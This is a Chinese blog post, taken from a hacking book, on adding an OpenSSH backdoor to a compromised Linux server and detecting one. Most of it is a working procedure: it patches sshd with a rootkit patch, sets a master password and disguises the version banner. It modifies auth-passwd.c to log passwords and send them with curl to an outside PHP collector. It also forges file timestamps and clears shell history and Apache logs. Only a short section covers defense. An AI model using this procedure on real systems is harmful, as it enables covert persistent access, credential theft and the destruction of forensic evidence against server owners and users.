引言:相对于Windows,Linux操作系统的password较难获取。只是非常多Linuxserver配置了OpenSSH服务。在获取root权限的情况下,能够通过改动或者更新OpenSSH代码等方法,截取并保存其SSH登录账号和password,甚至能够留下一个隐形的后门,达到长期控制Linuxserver的目的。

非常多入侵者在攻破一个Linux系统后,都会在系统中留下后门,用OpenSSH留后门是入侵者的惯用方式之中的一个。OpenSSH后门比較难检測,本文选自《黑客攻防:实战加密与解密》将与您一起探讨怎样加入及防范OpenSSH后门。

1 OpenSSH简单介绍

  OpenSSH是SSH(Secure Shell)协议的免费开源实现。非常多人误觉得OpenSSH与OpenSSL有关联,但实际上这两个计划有不同的目的和不同的发展团队,名称相近仅仅是由于两者有相同的发展目标──提供开放源码的加密通信软件。

OpenSSH是OpenBSD的子计划,其官方站点地址为http://www.openssh.com/。OpenSSH的各个版本号能够到其官网下载。 

  SSH协议族能够用来进行远程控制,或者在计算机之间传送文件。而实现此功能的传统方式,如Telnet(终端仿真协议)、RCP、FTP、Rlogin、RSH。都是极不安全的,而且会使用明文传送password。OpenSSH提供了服务端后台程序和client工具,用来加密远程控件和文件传输过程中的数据。并由此来代替原来的类似服务。OpenSSH是通过计算机网络使用SSH加密通信的实现。是代替由SSH Communications Security提供的商用版本号的开放源码方案。在OpenSSH服务中。sshd是一个典型的独立守护进程,OpenSSH服务能够通过“/etc/ssh/sshd_config”文件进行配置。OpenSSH支持SSH协议的1.3、1.5和2版本号。

自OpenSSH
2.9公布以来,默认的协议是版本号2。

2 准备工作

01 下载openssh-5.9p1.tar.gz

  openssh-5.9p1.tar.gz的下载地址为http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz

02 下载后门文件

  后门文件下载地址为http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.
patch.tar.gz。

03 准备Linux虚拟机

  准备Linux虚拟机Centos 6.4。

04 查看SSH当前版本号信息

  眼下网上支持的SSH后门版本号为5.9下面。例如以下图,使用“ssh -V”命令获取的OpenSSH版本号信息为“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。 



  笔者未对高于5.9版本号的SSH进行測试,但由于在Patch中能够直接改动banner的值。所以这在理论上是可行的。

注意:一定要将这里的版本记录下来,以便在编译时将该信息进行伪装。

05 备份SSH原始配置文件

  如图,将ssh_config和sshd_config分别备份为ssh_config.old和sshd_config.old。在Linux终端分别运行例如以下文件备份命令。

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old

mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

06 解压SSH后门

  将sshbd.tgz下载到本地并解压 

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYnJvYWR2aWV3MjAwNg==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast" alt="【图3】" title="" style="border:0px; vertical-align:middle; display:table; margin:auto; max-width:100%">

  运行下面命令。

tar zxvf sshbd.tgz
cd openssh

  假设使用官方安装包openssh-5.9p1进行安装。能够运行下面命令。

tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

3 设置SSH后门的登录password及其password记录位置

  在OpenSSH文件夹中找到includes.h文件,执行“vi includes.h”命令改动“define _SECRET_PASSWD”为我们的登录password。如图。 

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYnJvYWR2aWV3MjAwNg==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast" alt="【图4】" title="" style="border:0px; vertical-align:middle; display:table; margin:auto; max-width:100%">

  默认password记录日志文件保存在“/usr/local/share/0wn”文件夹下的slog和clog文件里。

如果password为“995430aaa”。代码例如以下。

define _SECRET_PASSWD  " 995430aaa"

4 安装并编译后门

01 编译和安装

  执行例如以下代码。

 ./configure –prefix=/usr –sysconfdir=/etc/ssh
make && make install

  openssh-5.9p1须要使用以下的命令进行配置。

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

  在编译过程中可能会出现“configure: error: * zlib.h missing – please install first or check config.log”错误。

此时,运行“yum install zlib-devel”和“yum install openssl openssl-devel”命令,安装后再次进行编译就可以。

02 重新启动SSHD服务

  运行“/etc/init.d/sshd restart”命令,重新启动SSHD服务。

03 还原新配置文件为旧配置文件的时间

  运行下面命令,使ssh_config和sshd_config文件的改动时间与ssh_config.old和sshd_config.old文件一致。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
  • mtime(modify time):最后一次改动文件或文件夹的时间。

  • ctime(chang time):最后一次改变文件或文件夹(改变的是原数据,即属性)的时间。如该文件的inode节点被改动的时间。touch命令除了“-d”和“-t”选项外。都会改变该时间。chmod、chown等命令也能改变该值。
  • atime(access time):最后一次訪问文件或文件夹的时间。
  • ls -l file:查看文件改动时间。
  • ls -lc file:查看文件状态改动时间。
  • ls -lu file:查看文件訪问时间。
  • stat file:文件时间的3个属性。

5 登录后门并查看记录的password文件

  使用“ssh -l root IP”命令登录server。如“ssh -l root 192.168.52.175”。

能够使用root的password。也能够使用后门设置的password“995430aaa”进行登录。然后。訪问“/usr/local/ share/0wn”文件夹,查看其记录的password日志文件clog和slog。例如以下图能够看到SSH登录和本地root账号登录的password。

  在实际測试过程中,还须要清除Apache日志。可供參考的日志清除命令例如以下。

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

6 拓展password记录方式

  前面记录的password仅仅能在Linuxserver上面看,也就是说,用户必须拥有读取文件的权限,假设没有权限则无法登录server。

在这里,最好的方法是记录的用户、password和port能够通过邮件或者HTTP直接发送到接收端(与黑产收信类似)。以下介绍详细实现方法。

01 接收端ssh.php代码

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['host'];
$port = $_POST['port'];
$time=date('Y-m-d H:i:s',time());
if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
$fp = fopen("sshlog.txt","a+");
$result = "sername:.$username--->:Password:$password----->:Host:$host ----->:port:$port----->:time:$time";
fwrite($fp,$result);
fwrite($fp,"\r\n");
fclose($fp);
}
?>

02 改动auth-passwd.c文件的内容

int
userauth_passwd(Authctxt *authctxt)
{
static int attempt = 0;
char prompt[150];
char *password;
char *pass[200];
char szres[1024] = {0};
FILE *f;
char *findport()
{
FILE *FTopen;
char tempBuf[1024] = {0};
char *Filename = "/etc/ssh/sshd_config";
char *Filetext = "Port";
if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
while(fgets(tempBuf, 1024, FTopen) != NULL) {
if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
memset(tempBuf, 0, 1024);
}
fclose(FTopen);
return Filetext;
} const char *host = options.host_key_alias ? options.host_key_alias :
authctxt->host; if (attempt++ >= options.number_of_password_prompts)
return 0; if (attempt != 1)
error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
authctxt->server_user, host);
password = read_passphrase(prompt, 0);
strcpy(pass,password); //截取密码的时候把它拷贝到自己定义的地方,以便调用
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
packet_put_cstring(authctxt->method->name);
packet_put_char(0);
packet_put_cstring(password);
memset(password, 0, strlen(password));
xfree(password);
packet_add_padding(64);
packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
&input_userauth_passwd_changereq); if((f=fopen("/tmp/olog","a+"))!=NULL){
fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n", authctxt->server_user,pass,authctxt->host,findport());
fclose(f);} memset(szres,0,sizeof(szres));
snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=
%s&host=%s&port=%s\" http://www.antian365.com/ssh.php >/dev/null",authctxt-> server_user,pass, authctxt->host,findport());
system(szres);
return 1;
}

  又一次编译。运行后会自己主动将密码发送到server。但笔者在实际測试中并没有达到这种效果。相关信息请读者訪问http://0cx.cc/ssh_get_password.jspx查看并验证。

7 OpenSSH后门的防范方法

  OpenSSH后门的防范方法例如以下。

  • 重装OpenSSH软件。更新至最新版本号7.2。

  • 将SSH默认登录port22更改为其它port。
  • 在IPTable中加入SSH訪问策略。
  • 查看命令历史记录。对可疑文件进行清理。

    在有条件的情况下。可重做系统。

  • 改动server全部用户的password为新的强健password。

执行“ps aux | grep sshd”命令获取可疑进程的PID,执行“strace -o aa -ff -p PID”命令进行跟踪,成功登录SSH后。在当前文件夹下就生成了strace命令的输出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看记录文件。在上面的命令中,过滤错误信息、/dev/null信息和拒绝(denied)信息,找出打开了读写模式(WR)的文件(由于要把记录的password写入文件)。能够找到以读写方式记录在文件里的SSH后门password文件的位置。并通过该方法推断是否存在SSH后门。

当然。也有不记录password,而只留下一个万能SSH后门的情况。

8 小结

  获取Linux的版本号及其信息,命令例如以下。

cat /etc/issue
uname –ar

  获取SSH版本号的信息并记录,命令例如以下。

ssh -V >ssh.txt

  下载OpenSSHclient及后门程序,命令例如以下。网上另一个版本号sshd.tar.gz。

wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

备份SSH配置文件,命令例如以下。

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

  安装必备软件,命令例如以下。

yum install -y openssl openssl-devel pam-devel zlib zlib-devel

  解压并安装补丁,命令例如以下。

tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

  改动includes.h文件里记录username和password的文件位置及其password。命令例如以下。

#define ILOG "/tmp/ilog"            //记录登录本机的username和password
#define OLOG "/tmp/olog" //记录本机登录远程的username和password
#define SECRETPW "123456654321" //后门的password

  改动version.h文件。使其改动后的版本号信息为原始版本号。命令例如以下。

#define SSH_VERSION "填入之前记下来的版本号号,伪装原版本号"
#define SSH_PORTABLE "小版本号号"

  安装并编译,命令例如以下。

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart

  恢复新配置文件的日期,使其与旧文件的日期一致。对ssh_config和sshd_config文件的内容进行对照。使其配置文件一致。然后改动文件日期。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config

  清除操作日志。代码例如以下。

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

  本文选自《黑客攻防:实战加密与解密》。点此链接可在博文视点官网查看此书。

  想及时获得很多其它精彩文章,可在微信中搜索“博文视点”或者扫描下方二维码并关注。

                       

Linux OpenSSH后门的加入与防范的更多相关文章

  1. Linux OpenSSH后门的添加与防范

    引言:相对于Windows,Linux操作系统的密码较难获取.不过很多Linux服务器配置了OpenSSH服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其S ...

  2. OpenSSH后门获取root密码及防范

    OpenSSH后门获取root密码及防范 相对于Windows操作系统,Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者 ...

  3. 利用Openssh后门 劫持root密码

    Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下, 可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以 ...

  4. Kali Linux Web后门工具、Windows操作系统痕迹清除方法

    Kali Linux Web后门工具 Kali的web后门工具一共有四款,今天只介绍WebaCoo 首先介绍第一个WeBaCoo(Web Backdoor Cookie) WeBaCoo是一款隐蔽的脚 ...

  5. 如何使用Linux通用后门(转zafe)

    特别提示:仅用于安全测试和教学,禁止非法用途. 标题党了,呵呵 其实就是个ssh后门,基本可以不用看内核版本,很简单,为照顾新手! ********************************** ...

  6. Linux服务器后门自动化查杀教程

    一.说明 如果出现文件上传漏洞和命令执行类漏洞(包括命令注入.缓冲区溢出.反序列化等)都会让人担心,系统是否系统已被上传webshell甚至植入木马程序.如果依靠人工排查,一是工作量大二是需要一定程度 ...

  7. Linux系统扫描技术及安全防范

    1.概述 一.主机扫描 二.路由扫描 三.批量服务扫描 四.linux防范恶意扫描安全策略 一个典型的网络安全事件 ·案例:通过网络扫描方式获取某运营商核心设备管理权限 step01:通过tracer ...

  8. Linux Pam后门总结拓展

    首发先知社区: https://xz.aliyun.com/t/7902 前言 渐渐发现pam后门在实战中存在种植繁琐.隐蔽性不强等缺点,这里记录下学习pam后门相关知识和pam后门的拓展改进. 0x ...

  9. Linux Openssh源码升级

    telnet服务 yum install -y telnet-server xinetd systemctl start xinetd systemctl start telnet.socket #监 ...

随机推荐

  1. QT+创建两个不相干的窗口实现一个显示一个不显示

    因为两个窗口互不相干,所以需要重新创建一个窗口类subWidget subWidget.cpp文件 #ifndef SUBWIDGET_H #define SUBWIDGET_H #include & ...

  2. JavaSE-29 Java8的Lambda表达式

    概念说明 Lambda表达式是Java8提供的新特性,支持将代码块作为方法的参数. Lambda表达式支持使用简洁的代码创建只有一个方法的接口(函数式接口). 只包含一个方法的接口也称为函数式接口. ...

  3. B6. Concurrent 内存模型与线程交互

    [概述]

  4. gcc 变量类型大小 练习 远离 cygwin64 需要带dll

    /* testmini.c -- very simple test program for the miniLZO library */ #include <stdio.h> #inclu ...

  5. C++ new delete(一)

    在C#.Java這種managed語言,因為有garbage collection,所以完全不用考慮free()或delete,但在C/C++,有時候要delete的,有時又不用,到底哪些改delet ...

  6. 12scrapy_redis

    一.简介 1.redis redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zse ...

  7. scanf_s读取键盘输入字符串失败

    #include<stdio.h> int main() { ]; ]; printf("Input string:\n"); scanf_s("%s&quo ...

  8. Python爬虫-抖音小视频-mitmproxy与Appium

    目的:  爬取抖音小视频 工具:  mitmproxy.Appium 思路: 1.  通过 mitmproxy 截取请求, 找出 response 为 video 的请求. 2.  通过 mitmdu ...

  9. gitlab+jenkins+docker自动构建

    docker容器部署gitlab: sudo docker run --detach \ --hostname git.gitlab.com \ --net=host \ --publish 9443 ...

  10. 【02】koala编译中文出错(已放弃不用)

    http://koala-app.com/index-zh.html koala 下载地址.     sass.中文编译出错: 打开 Koala文件夹位置->rubygems->gems- ...